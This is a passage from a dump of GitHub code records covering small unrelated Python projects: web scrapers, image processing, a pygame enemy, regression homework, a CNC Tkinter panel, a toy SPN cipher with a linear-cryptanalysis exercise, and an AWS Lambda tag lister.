settings.HTTPCACHE_ENABLED else \"*cached copy*\"\n )\n except socket.herror as e:\n if e.strerror == \"Unknown host\":\n hp_item['reverse_dns_lookup'] = \"Unknown\"\n else:\n raise e\n \n return self.parse_generic_webpage(response, preexisting_item=hp_item)\n \n def parse_about_us(self, response, preexisting_item=None):\n \"\"\"\n parse_about_us: FILL OUT\n \"\"\"\n au_item = preexisting_item or items.AboutUsItem()\n # TODO: add specific logic for AboutUs/ContactUs pages\n \n return self.parse_generic_webpage(response, preexisting_item=au_item)\n \n def parse_generic_webpage(self, response, preexisting_item=None):\n \"\"\"\n parse_generic_webpage: FILL OUT\n \"\"\"\n gwp_item = preexisting_item or items.GenericWebpageItem()\n \n gwp_item['url'] = response.url\n gwp_item['level'] = get_url_level(response.url)\n referer = response.request.headers.get('referer', None)\n gwp_item['referer'] = referer.decode() if referer else None\n gwp_item['website'] = get_domain(response.url)\n gwp_item['status_code'] = response.status\n \n# gwp_item['html'] = str(response.body)\n# page_text = BeautifulSoup(response.body, 'html.parser').get_text()\n# clean_text = '\\n'.join(x for x in page_text.split('\\n') if x) # remove redundant newlines\n# cleaner_text = unicodedata.normalize('NFKD', clean_text) # remove decoding mistakes\n# gwp_item['text'] = cleaner_text\n \n gwp_item['phone_numbers'] = set()\n gwp_item['social_links'] = set()\n for a_tag in response.xpath('//a[@href]'):\n href = a_tag.xpath('@href').get()\n if href.startswith('tel:'):\n # telephone number is contained within either the href or text\n if len(href) > 4:\n gwp_item['phone_numbers'].add(href[4:])\n else:\n gwp_item['phone_numbers'].add(a_tag.xpath('text()').get()) \n if any(social_name in href for social_name in ['facebook','instagram','twitter','youtube','linkedin']):\n gwp_item['social_links'].add(href)\n \n yield gwp_item\n","repo_name":"xaviermiles/creepy_crawlies","sub_path":"crawl_prototype/crawl_prototype/spiders/custom_sitemap_spider.py","file_name":"custom_sitemap_spider.py","file_ext":"py","file_size_in_byte":9117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21081146004","text":"import numpy as np\nimport cv2\nimport serial\n\ndef readImage(filename,height,width):\n image = cv2.imread(filename)\n resizedImg = np.ones((height, width, 3), np.uint8)\n resizedImg = cv2.resize(image,(height,width))\n\n return resizedImg\n\ndef findMinDistance(pixelVal,colors):\n minIdx = 0\n minVal = 1e10\n for i in xrange(0,len(colors)):\n dist = np.linalg.norm(colors[i] - pixelVal)\n if dist < minVal:\n minVal = dist\n minIdx = i\n return minIdx\n\ndef splitImageIntoBins(img,colors) :\n height, width, depth = img.shape\n binaryImages = []\n\n for i in xrange(0,len(colors)):\n\n binaryImages.append(np.ones((height,width,1), np.uint8))\n binaryImages[i][:,:] = 255\n\n for i in xrange(0,height):\n for j in xrange(0,width):\n closestIdx = findMinDistance(img[i,j],colors)\n binaryImages[closestIdx][i,j] = 0\n\n return binaryImages\n\nif __name__ == \"__main__\":\n filename = \"super_mario_bros.png\"\n # color order (B,G,R)\n # colro order\n colorNames = [\"orange\",\"green\",\"red\",\"yellow\",\"blue\",\"pink\",\"purple\",\"white\"]\n colors = [(23,92,189),(6,78,35),(28,31,122),(2,147,173),(76,40,34),(105,73,174),(56,37,40),(255,255,255)]\n height, width = (287,200)\n\n\n img = readImage(filename,height,width)\n\n\n binaries = splitImageIntoBins(img,colors)\n for i in xrange(0,len(binaries)):\n cv2.imshow(colorNames[i],binaries[i])\n cv2.waitKey(0)\n\n cv2.destroyAllWindows()\n","repo_name":"ronenabr/pancake_printer_rgb","sub_path":"image_proc/robovangoch/graphicsRGB.py","file_name":"graphicsRGB.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5170549122","text":"import pygame\r\nimport random\r\nfrom enemy import Enemy\r\nfrom enemyBullet import eBullet\r\n\r\nclass Grunt(Enemy):\r\n score = 50\r\n\r\n @staticmethod\r\n def init(screenWidth, image):\r\n Grunt.size = int(screenWidth * 0.06) # 6% of the screenWidth\r\n Grunt.image = pygame.transform.scale(\\\r\n pygame.image.load(image).convert_alpha(), (Grunt.size, Grunt.size))\r\n\r\n def __init__(self, x, y, difficulty):\r\n super(Grunt, self).__init__(x, y, Grunt.image, Grunt.size)\r\n self.speed = 4\r\n if difficulty == \"easy\":\r\n self.speed = 4\r\n elif difficulty == \"normal\":\r\n self.speed = 5\r\n elif difficulty == \"hard\":\r\n self.speed = 6\r\n\r\n def shoot(self, x, y, shipSize, difficulty):\r\n return eBullet(x, y, self, difficulty)\r\n\r\n # def update(self, flap, screenWidth):\r\n # if flap:\r\n # Grunt.init(screenWidth, 'images/grunt2.png')\r\n # self.__init__(self.x, self.y)\r\n # else:\r\n # Grunt.init(screenWidth, 'images/grunt.png')\r\n # self.__init__(self.x, self.y)\r\n # self.updateRect()\r\n","repo_name":"estevaz12/15-112_TP_112-Galaga","sub_path":"TP2/grunt.py","file_name":"grunt.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9760625241","text":"# Name : Sachin Mahawar\r\n# Roll number : B20129\r\n# Mobile Number : 9166843951\r\n\r\n# Importing libraries\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import mean_squared_error\r\n\r\n# Reading csv files\r\ndf = pd.read_csv('abalone.csv')\r\n\r\n# Splitting whole data set with training data containing 70% data from each class and test data with containing rest 30% data from each class\r\nX_train, X_test, X_label_train, X_label_test = train_test_split(df.iloc[:, :-1], df.iloc[:, -1], random_state=42, test_size=0.30)\r\n\r\n# (a)\r\nprint(\"(a)\")\r\n\r\nP_val = [2, 3, 4, 5]\r\ntrain_rmse = []\r\nfor p in P_val:\r\n # Transforming X_train into their corresponding polynomial features\r\n poly = PolynomialFeatures(degree=p)\r\n X_train_poly = poly.fit_transform(X_train)\r\n\r\n # Fitting linear regression on polynomial dataset\r\n Lin_reg = LinearRegression()\r\n Lin_reg.fit(X_train_poly, X_label_train)\r\n\r\n # Predictions\r\n train_pred = Lin_reg.predict(X_train_poly)\r\n\r\n # Calculating RMSE\r\n rmse = mean_squared_error(X_label_train, train_pred) ** 0.5\r\n train_rmse.append(rmse)\r\n print(\"Rmse for p=\", p, ':', round(rmse, 3))\r\n\r\n# bar graph of RMSE of training data vs different values of degree of the polynomial\r\na = plt.figure(1)\r\nplt.title(\"Multivariate non-linear regression model\")\r\nplt.bar(P_val, train_rmse, width=0.3)\r\nplt.xlabel('Degree of Polynomial (p)')\r\nplt.xticks(P_val)\r\nplt.ylabel('Train RMSE')\r\nplt.show()\r\n\r\n# (b)\r\nprint(\"(b)\")\r\ntest_rmse = []\r\nfor p in P_val:\r\n # Transforming X_train and X_test into their corresponding polynomial features\r\n poly = PolynomialFeatures(degree=p)\r\n X_train_poly = poly.fit_transform(X_train)\r\n X_test_poly = poly.fit_transform(X_test)\r\n\r\n # Fitting linear regression on polynomial dataset\r\n Lin_reg = LinearRegression()\r\n Lin_reg.fit(X_train_poly, X_label_train)\r\n\r\n # Predictions\r\n test_pred = Lin_reg.predict(X_test_poly)\r\n\r\n # Calculating RMSE\r\n rmse = mean_squared_error(X_label_test, test_pred) ** 0.5\r\n test_rmse.append(rmse)\r\n print(\"Rmse for p=\", p, ':', round(rmse, 3))\r\n\r\n# bar graph of RMSE of test data vs different values of degree of the polynomial\r\nb = plt.figure(2)\r\nplt.title(\"Multivariate non-linear regression model\")\r\nplt.bar(P_val, test_rmse, width=0.3)\r\nplt.xlabel('Degree of Polynomial (p)')\r\nplt.xticks(P_val)\r\nplt.ylabel('Test RMSE')\r\nplt.show()\r\n\r\n# (c)\r\n\r\n# Best value of p is 2\r\npoly = PolynomialFeatures(degree=2)\r\nXt = poly.fit_transform(X_train)\r\nXte = poly.fit_transform(X_test)\r\nLin_reg = LinearRegression()\r\nLin_reg.fit(Xt, X_label_train)\r\ntestpred = Lin_reg.predict(Xte)\r\n\r\n# scatter plot of the actual number of Rings (x-axis) vs the predicted number of Rings (y-axis) on the test data\r\nd = plt.figure(3)\r\nplt.title(\"Multivariate non-linear regression model\")\r\nplt.scatter(X_label_test, testpred, marker=\"x\")\r\nplt.xlabel('Actual Rings')\r\nplt.ylabel('Predicted Rings')\r\nplt.title('Multivariate non-linear regression model')\r\nplt.show()\r\n","repo_name":"Sachin737/Data-Science-and-Machine-Learning-Lab-Assignments","sub_path":"5_Data Classification2/B_4.py","file_name":"B_4.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13133718463","text":"from urllib.request import urlopen as uReq\nfrom bs4 import BeautifulSoup as soup\nimport array\nimport json\nimport re\nimport requests\n\ndef get_html_format (url):\n html_page = uReq(url)\n get_html = html_page.read()\n html_page.close()\n return soup(get_html,\"html.parser\")\n\nchicken_recipe_html = get_html_format(\"https://www.allrecipes.com/recipes/201/meat-and-poultry/chicken/\")\nall_articles = chicken_recipe_html.find(id=\"main-content\").find_all('article')\nlinks = []\nfor article in all_articles:\n if(article.find('a')!=None):\n links.append(article.find('a')['href'])\n# print (links)\n\nitem_list = []\ndef validate_link(somestring):\n return \"video\" in somestring or \"www\" not in somestring\n\nfor link in links:\n item = {}\n if(validate_link(link)):\n continue\n recipe_page = get_html_format(link)\n # print(link)\n if(recipe_page.find(id='recipe-main-content') != None):\n item['name'] = recipe_page.find(id='recipe-main-content').text\n if(recipe_page.find(id=\"polaris-app\") != None):\n ingredient_box = recipe_page.find(id=\"polaris-app\")\n ingredients_list = []\n if(ingredient_box.find_all('li') !=None):\n for ingredients in ingredient_box.find_all('li'):\n if(ingredients.text.strip() != \"Add all ingredients to list\"):\n ingredients_list.append(ingredients.text.strip())\n item['ingredients'] = ingredients_list\n if(recipe_page.find(\"div\",class_=\"directions--section\")!=None):\n directions_list = []\n direction_box = recipe_page.find(\"div\",class_=\"directions--section\")\n # print(direction_box)\n if(direction_box.find_all('ol',class_=\"recipe-directions__list\")!=None):\n direction = direction_box.find('ol',class_=\"recipe-directions__list\")\n direction = direction.find_all('span',class_='recipe-directions__list--item')\n for step in range(0, len(direction)):\n directions_list.append((\"Step \"+ str(step+1) +\": \"+direction[step].text.replace(\"Watch Now\",\"\")).strip())\n item['instructions']= directions_list\n item_list.append(item)\n\nfor x in item_list:\n payload = json.dumps(x)\n url = \"http://localhost:3000/recipe/add\"\n headers = {\n 'Content-Type': \"application/json\",\n }\n response = requests.request(\"POST\", url, data=payload, headers=headers)\n print(response.json())\n\n\n # r = requests.post('https://recipefinder2018.herokuapp.com/recipe/add',data=json_item)\n # print(r.json())\n","repo_name":"calvintts/web_scraper","sub_path":"recipe.py","file_name":"recipe.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20373579247","text":"\"\"\"empty message\n\nRevision ID: 82f2b445ff09\nRevises: ff25e4d94a40\nCreate Date: 2020-01-09 12:44:37.447439\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '82f2b445ff09'\ndown_revision = 'ff25e4d94a40'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_unique_constraint(None, 'product_categories', ['uuid'])\n op.add_column('users', sa.Column('uuid', sa.String(length=35), nullable=True))\n op.create_unique_constraint(None, 'users', ['uuid'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'users', type_='unique')\n op.drop_column('users', 'uuid')\n op.drop_constraint(None, 'product_categories', type_='unique')\n # ### end Alembic commands ###\n","repo_name":"denyszamiatin/ma_shop","sub_path":"migrations/versions/82f2b445ff09_.py","file_name":"82f2b445ff09_.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"653759359","text":"#!/usr/bin/python3\n# -*- coding:Utf-8 -*-\nfrom tkinter import *\ntry:\n\tfrom cnPackages.PanelButtonsCmd\t\t\timport PanelButtonsCmd\n\tfrom cnPackages.DataParam\t\t\t\timport DataParam\n\tfrom cnPackages.PanelDisplayXYZ\t\t\timport PanelDisplayXYZ\n\tfrom cnPackages.PanelButtonsXYZ\t\t\timport PanelButtonsXYZ\n\tfrom cnPackages.PanelSettingsMan\t\timport PanelSettingsMan\n\tfrom cnPackages.PanelDisplayGcode\t\timport PanelDisplayGcode\n\tfrom cnPackages.PanelDisplayCmdsMotors\timport PanelDisplayCmdsMotors\n\tfrom cnPackages.PanelDisplayPiece\t\timport PanelDisplayPiece\n\tfrom cnPackages.PanelTrace\t\t\t\timport PanelTrace\nexcept:\n\tfrom PanelButtonsCmd\t\timport PanelButtonsCmd\n\tfrom DataParam\t\t\t\timport DataParam\n\tfrom PanelDisplayXYZ\t\timport PanelDisplayXYZ\n\tfrom PanelButtonsXYZ\t\timport PanelButtonsXYZ\n\tfrom PanelSettingsMan\t\timport PanelSettingsMan\n\tfrom PanelDisplayGcode\t\timport PanelDisplayGcode\n\tfrom PanelDisplayCmdsMotors\timport PanelDisplayCmdsMotors\n\tfrom PanelDisplayPiece\t\timport PanelDisplayPiece\n\tfrom PanelTrace\t\t\t\timport PanelTrace\n\ndef createFrontPanel(win, bg):\n\tpanelList = []\n\t# Colonne 1\n\tfrm1 = Frame(win, bg = bg, bd = 2)\n\tfrm1.grid(row = 1, column = 1, sticky = 'n')\n\tpn1 = PanelButtonsCmd(frm1, fctExt = btnAction)\n\tpn1.pack()\n\tpanelList.append(pn1)\n\n\t# Colonne 2\n\tfrm2 = Frame(win, bg = bg, bd = 2)\n\tfrm2.grid(row = 1, column = 2, sticky = 'n')\n\tdt = DataParam()\n\tpn21 = PanelDisplayXYZ(frm2, data = dt)\n\tpn21.pack()\n\tpanelList.append(pn21)\n\tpn22 = PanelButtonsXYZ(frm2, cmd = btnActionExt)\n\tpn22.pack()\n\tpanelList.append(pn22)\n\tpn23 = PanelSettingsMan(frm2)\n\tpn23.pack()\n\tpanelList.append(pn23)\n\n\t# Colonne 3\n\tfrm3 = Frame(win, bg = bg, bd = 2)\n\tfrm3.grid(row = 1, column = 3, sticky = 'n')\n\tpn31 = PanelDisplayGcode(frm3, nbChar = 30, nbLine = 10, font = \"Helvetica 8 normal\")\n\tpn31.pack()\n\tpanelList.append(pn31)\n\tpn32 = PanelDisplayCmdsMotors(frm3, nbChar = 30, nbLine = 10, font = \"Helvetica 8 normal\")\n\tpn32.pack()\n\tpanelList.append(pn32)\n\n\t# Colonne 4\n\tfrm4 = Frame(win, bg = bg, bd = 2)\n\tfrm4.grid(row = 1, column = 4, sticky = 'n')\n\tpn4 = PanelDisplayPiece(frm4)\n\tpn4.pack()\n\tpanelList.append(pn4)\n\n\t# Colonne 2\n\tfrm5 = Frame(win, bg = bg, bd = 2)\n\tfrm5.grid(row = 1, column = 2, columnspan = 2, sticky = 's')\n\tpn5 = PanelTrace(frm5, nbChar = 50, nbLine = 6, font = \"Helvetica 8 normal\")\n\tpn5.pack()\n\tpanelList.append(pn5)\n\n\treturn (panelList)\n\n\n\n\n# Programme principal de test\n# ---------------------------\n\nif __name__ == \"__main__\":\n\n\tdef btnAction(btnCode):\n\t\tpass\n\n\tdef btnActionExt(btnCode):\n\t\tpass\n\n\tw = Tk()\n\tw.title('def createFrontPanel')\n\tbg = 'ivory'\n\tw.config(bg = bg, bd = 10)\n\tw.geometry(\"+50+50\")\n\n\tpanelList = createFrontPanel(w, bg)\n\tfor idx in [4, 5, 7]:\n\t\tpn = panelList[idx].getScr()\n\t\tfor i in range(40):\n\t\t\tpn.insertLine(\"0123456789012345\\n\", \"bleu\")\n\n\tw.mainloop()","repo_name":"gcaussy/littlecn","sub_path":"cnPackages/createFrontPanel.py","file_name":"createFrontPanel.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6813068496","text":"import sys\n\nTAM_BLOQUE = 4\nkey = \"\"\nmsg_cifrado = \"\"\n\ndef xorhex(a, b):\n return (hex(int(a, 16) ^ int(b, 16)))[2:]\n\nif __name__ == '__main__':\n \n msg_cifrado_limpio = msg_cifrado.replace(\" \", \"\") \n iter = 1\n mensaje_descifrado = ''\n for i in range(0, len(msg_cifrado_limpio), TAM_BLOQUE):\n trozo_cifrado = msg_cifrado_limpio[i:i+TAM_BLOQUE]\n if iter == 1:\n trozo_descifrado = xorhex(trozo_cifrado,key)\n iter = 2\n else:\n trozo_descifrado = xorhex(xorhex(trozo_cifrado,key),trozo_cifrado_anterior)\n trozo_cifrado_anterior = trozo_cifrado\n if len(trozo_descifrado)<4:\n trozo_descifrado = \"0\"+trozo_descifrado\n mensaje_descifrado = mensaje_descifrado + trozo_descifrado\n \n print(\"Mensaje descifrado en hexadecimal:\")\n print(mensaje_descifrado)\n bytes_array = bytes.fromhex(mensaje_descifrado)\n ascii_str = bytes_array.decode()\n print(ascii_str)\n","repo_name":"rafabono/xorcbc","sub_path":"xor_cbc.py","file_name":"xor_cbc.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8790057186","text":"from PyQt4.QtGui import QGraphicsItem\nfrom PyQt4.QtGui import QPen\nfrom PyQt4.QtGui import QColor\nfrom PyQt4.QtCore import QLineF\nfrom PyQt4.QtCore import QRectF\n\nclass Grid(QGraphicsItem):\n\tdef __init__(self, size = 32, bounds = QRectF(0,0,100,100), pen = QPen(QColor(0,0,255,64))):\n\t\tself.bounds = bounds\n\t\tQGraphicsItem.__init__(self)\n\t\tself.lines = []\n\t\tself.size = size\n\t\tself.pen = pen\n\t\n\tdef paint(self, painter, option, widget = None):\n\t\tbounds = self.bounds\n\t\tfor x in range(0, int(bounds.width()), self.size):\n\t\t\tself.lines.append(\n\t\t\t\tQLineF(\n\t\t\t\t\tx,\n\t\t\t\t\tbounds.y(),\n\t\t\t\t\tx,\n\t\t\t\t\tbounds.y() + bounds.height()))\n\n\t\tfor y in range(0, int(bounds.height()), self.size):\n\t\t\tself.lines.append(\n\t\t\t\tQLineF(\n\t\t\t\t\tbounds.x(),\n\t\t\t\t\ty,\n\t\t\t\t\tbounds.x() + bounds.width(),\n\t\t\t\t\ty))\n\n\t\tpainter.setPen(self.pen)\n\n\t\tfor line in self.lines:\n\t\t\tpainter.drawLine(line)\n\n\tdef boundingRect(self):\n\t\treturn self.bounds\n","repo_name":"nmeyering/squiggly","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"17433527607","text":"import helperclass as hc\n\nS_BOX = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7]\nPERMUTATION = [1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15, 4, 8, 12, 16]\n\nclass SubstitutionPermutationNetwork:\n def __init__(self, key) -> None:\n self.block_length = 16\n self.rounds = 4\n key = hc.hex_string_to_bit_string(key)\n self.keys = [key for _ in range(self.rounds + 1)]\n\n def get_blocks_of_bit_string(self, bit_string):\n return [bit_string[i:i+self.block_length] for i in range(0, len(bit_string), self.block_length)]\n\n def add_key(self, bit_string, round):\n return hc.xor_add(bit_string, self.keys[round])\n \n def substitution(self, bit_string):\n new_bit_string = \"\"\n for i in range(0, len(bit_string), 4):\n new_bit_string += hc.int_to_bit_4(S_BOX[int(bit_string[i:i+4], 2)])\n return new_bit_string\n \n def permutation(self, bit_string):\n new_bits = [0 for _ in range(len(bit_string))]\n for i in range(0, len(bit_string)):\n new_bits[PERMUTATION[i] - 1] = bit_string[i]\n return ''.join(new_bits)\n\n def encrypt(self, plaintext, enc_hex=False):\n if enc_hex:\n bit_content = hc.hex_string_to_bit_string(plaintext)\n else:\n bit_content = hc.text_to_bit_string(plaintext)\n\n bit_blocks = self.get_blocks_of_bit_string(bit_content)\n while len(bit_blocks[-1]) < self.block_length:\n bit_blocks[-1] += \"0\"\n encryption = \"\"\n for bit_string in bit_blocks:\n for i in range(self.rounds - 1):\n bit_string = self.add_key(bit_string, i)\n bit_string = self.substitution(bit_string)\n bit_string = self.permutation(bit_string)\n bit_string = self.add_key(bit_string, self.rounds - 1)\n bit_string = self.substitution(bit_string)\n bit_string = self.add_key(bit_string, self.rounds)\n encryption += hc.bit_string_to_text(bit_string)\n return encryption\n \n def get_part_keys(self, ori, enc):\n enc = hc.hex_string_to_bit_string(enc)\n ori = hc.hex_string_to_bit_string(ori)\n\n # # extract pairs\n # pairs_first = []\n # pairs_second = []\n # for i in range(0, len(ori), 16):\n # pairs_first.append((, enc[i + 4: i + 8]))\n # pairs_second.append((ori[i + 4:i + 8], enc[i + 12: i + 16]))\n \n alphas = [0 for _ in range(16 * 16)]\n for i in range(0, len(ori), 16):\n first_ori = ori[i + 4:i + 8]\n first_enc = enc[i + 4: i + 8]\n second_enc = enc[i + 12: i + 16]\n for l1 in range(0, 16):\n l1_bits = hc.int_to_bit_4(l1)\n v_2 = hc.xor_add(first_enc, l1_bits)\n u_2 = hc.int_to_bit_4(S_BOX.index(int(v_2, 2)))\n for l2 in range(0, 16):\n l2_bits = hc.int_to_bit_4(l2)\n v_4 = hc.xor_add(second_enc, l2_bits)\n # S Box inverse\n u_4 = hc.int_to_bit_4(S_BOX.index(int(v_4, 2)))\n\n checking = [first_ori[0], first_ori[2], first_ori[3], u_2[1], u_2[3], u_4[1], u_4[3]]\n if checking.count('1') % 2 == 0:\n alphas[l1 * 16 + l2] += 1\n \n maxi = -1\n max_key = None\n length = len(ori) // 16\n # print(len(pairs_first))\n for l1 in range(0, 16):\n for l2 in range(0, 16):\n beta = abs(alphas[l1 * 16 + l2] - (length / 2))\n if beta > maxi:\n maxi = beta\n max_key = (l1, l2)\n return max_key\n\n \nif __name__ == \"__main__\":\n # text = \"\"\n # with open('input_break.txt') as f:\n # text = f.read().replace(\"\\n\", \" \")\n key = \"b12f\"\n # spn = SubstitutionPermutationNetwork(key)\n # enc = spn.encrypt(text)\n\n # print(spn.get_part_keys(text, enc))\n print('doing main???')\n\n\n with open('save_text.txt') as f:\n random_text = f.read()\n network = SubstitutionPermutationNetwork(key)\n encrypted = hc.bit_string_to_hex_string(hc.text_to_bit_string(network.encrypt(random_text, enc_hex=True)))\n with open('save_enc.txt', 'w') as f:\n f.write(encrypted)\n","repo_name":"Hanno1/KryptologieLab","sub_path":"06_LinAn/spn_main.py","file_name":"spn_main.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2593044999","text":"\"\"\"\r\nThis script contains a function\r\nwhich prints a Christmas Tree\r\nof asterisks\r\n\r\nAuthor: Shravan\r\nDate: 25-01-2023\r\n\"\"\"\r\n\r\n\r\n\r\ndef christmas(first_row, incr, num_rows, line_width):\r\n\t\"\"\"prints christmas tree using asterisk.\r\n\r\n\tparameter first_row: number of asterisk must be printed on first row.\r\n\tprecondition: first_row must be a positive integer.\r\n\r\n\tparameter incr: increment of asterisk that every next line should follow.\r\n\tprecondition: incr must be a positive integer and for trunk it should be 0.\r\n\r\n\tparameter num_rows: Total number of rows program should contain.\r\n\tprecondition: num_rows must be a positive integer.\r\n\r\n\tparameter line_width: is the width of line about which program should be center aligned.\r\n\tprecondition: line_width must be a positive integer.\r\n\t\"\"\"\r\n\r\n\t# check for incr input if odd make it even by adding one\r\n\tincrement = incr\r\n\tif increment%2 != 0:\r\n\t\tincrement = incr + 1\r\n\r\n\t# check for valid first_row input\r\n\tif first_row <= 0:\r\n\t\tprint(\"invalid input: first line input should be positive integer\")\r\n\t\treturn\r\n\r\n\t# check for increment input in each following line\r\n\tif increment < 0:\r\n\t\tprint(\"invalid input: increment should be 0 or positive integer\")\r\n\t\treturn\r\n\r\n\t# check for total no. of rows input\r\n\tif num_rows <= 0:\r\n\t\tprint(\"invalid input: Total number of lines to be printed should be positive integer\")\r\n\t\treturn\r\n\r\n\t# check for line_width along which program has to center aligned with the last trapezoid\r\n\tif line_width < first_row + (increment * num_rows):\r\n\t\tprint(\"invalid input: please increase the line width\")\r\n\t\treturn\r\n\r\n\t# now print rows in a loop\r\n\ttree = ''\r\n\tfor i in range(num_rows):\r\n\t\tnum_asterisk = first_row + increment * i # asterisks in this line\r\n\t\tnum_spaces = (line_width - num_asterisk) // 2 # spaces before asterisk\r\n\t\t# print(' ' * num_spaces + '*' * num_asterisk)\r\n\t\ttree = tree + (' ' * num_spaces + '*' * num_asterisk) + '\\n'\r\n\tprint(tree.rstrip()) # strips the spaces from the right of the string\r\n\r\n\r\nchristmas(1,3,10,100)\r\nchristmas(17,3,10,100)\r\nchristmas(27,3,10,100)\r\nchristmas(10,0,5,100)\r\n","repo_name":"shravanbishnoi/Python","sub_path":"ChristmasTree.py","file_name":"ChristmasTree.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73088594008","text":"import re\nfrom unicodedata import normalize\n\ndef standarize(word):\n word = re.sub(\n r\"([^n\\u0300-\\u036f]|n(?!\\u0303(?![\\u0300-\\u036f])))[\\u0300-\\u036f]+\", r\"\\1\", \n normalize( \"NFD\", word), 0, re.I\n )\n\n # -> NFC\n word = normalize( 'NFC', word)\n \n return word\n\ndef first_word(sentence):\n char = \"\"\n n = 0\n # agregar regex de a-z\n while char != ' ' and n < len(sentence):\n char = sentence[n]\n n += 1\n\n word = sentence[:n-1]\n # -> NFD y eliminar diacríticos\n word = re.sub(\n r\"([^n\\u0300-\\u036f]|n(?!\\u0303(?![\\u0300-\\u036f])))[\\u0300-\\u036f]+\",\n r\"\\1\", \n normalize( \"NFD\", word), 0, re.I\n )\n # -> NFC\n word_normalized = normalize( 'NFC', word)\n\n return word_normalized\n\ndef get_art_name(line, sep={'.', \",\" ,\";\", \"-\",\"°\", \"º\"}):\n char = line[0]\n n = 0\n flag = False\n while flag == False and n < len(line):\n char = line[n]\n if char in sep: flag = True\n n += 1\n\n article_n = line[:n]\n # identifier = article_n.split\n return article_n\n\nascii_list = ((33,47),(58,64),(91,96),(123,126))\nchars = []\nfor tupple in ascii_list:\n for n in range(tupple[0], tupple[1]):\n chars.append(chr(n))\n\ndef clean_words(text, remove_digits=False, debugging=False):\n '''Remove all puntuaction marks using the ascii table.\n The digits from 0 to 9 remains unless that it'is required.\n http://www.asciitable.com/'''\n\n if debugging: print(text)\n \n join_text = \" \"\n join_text.join(text)\n if debugging: print(join_text)\n \n words = re.split(r'\\W+', join_text)\n if remove_digits:\n words = re.split(r'\\b\\d+\\b', join_text)\n # for char in chars:\n # text = text.replace(char, '')\n return words\n\ndef text_removals(dot_text):\n ndot_text = []\n index = 0\n for line in dot_text:\n # Step 1: Remove de line breaks \"\\n.\".\n if line == '\\n.':\n pass\n elif len(line) == 0:\n pass\n # Step 2:Remove the space at the begging.\n elif line[0] == ' ':\n ndot_text.append(line[1:])\n # Step 3:Remove the \\n for headlines and chapters\n\n elif line[-1:] == '\\n':\n # Some elements are just line breaks, and adding the condition into\n # an \"AND\" on the if doesn't remove it\n if len(line) > 2:\n ndot_text.append(line.rstrip(\"\\n\"))\n # Nothing to change\n else:\n ndot_text.append(line)\n index += 1\n # Step 3: Print the true len of the dot_text.\n print('Total elements:', len(ndot_text), '\\n----------------------')\n\n index = 0\n\n for line in ndot_text:\n # Step 1: Remove de line breaks \"\\n.\".\n if line == '\\n.':\n ndot_text.pop(index)\n index +=1\n\n return ndot_text","repo_name":"Edward-TL/LegalSearcher","sub_path":"ElasticSearch/text_filters.py","file_name":"text_filters.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24718491460","text":"import boto3\nfrom collections import defaultdict \nfrom typing import *\nimport threading\n\n\n# get the AWS credentials\ndef get_aws_credentials():\n access_key_id = input(\"Enter your AWS access key ID: \")\n secret_access_key = input(\"Enter your AWS secret access key: \")\n return access_key_id, secret_access_key\n\n# create an Lambda client\ndef get_Lambda_client(access_key_id, secret_access_key):\n Lambda = boto3.client(\"lambda\", aws_access_key_id=access_key_id, aws_secret_access_key=secret_access_key,\n region_name='ap-south-1')\n return Lambda\n\n# get all the Lambda functions\ndef get_Lambda_functions(Lambda):\n functions = Lambda.list_functions()\n functions = functions['Functions']\n print(\"List of functions acquired.\")\n return functions\n\ndef get_lambda_tags(Lambda, resource_arn):\n final_tags = []\n try:\n tags = Lambda.list_tags_for_resource(Resource=resource_arn)\n tags = tags.get(\"Tags\", {})\n for tag in tags:\n final_tags.append(tag['Key'])\n except:\n pass\n return final_tags\n\n# loop through each function and get its tags\n\n# Using multi-threading to speed up the process\n\ndef get_Lambda_function_info(functions, Lambda):\n print(\"Starting tag collection.\")\n function_tags = {}\n def task1():\n i = 0\n while(i \"2021-01-01 00:00:00\" and ts < \"2021-01-31 00:00:00\" interval (1d);'\n 'select last(*) from test.stb;'\n ]\n# self.sql_list = ['select * from test.stb limit 100000;']\n\n def initLog(self):\n self.exec_local_cmd(f'echo \"\" > {self.log_file}')\n\n def exec_local_cmd(self,shell_cmd):\n result = os.popen(shell_cmd).read().strip()\n return 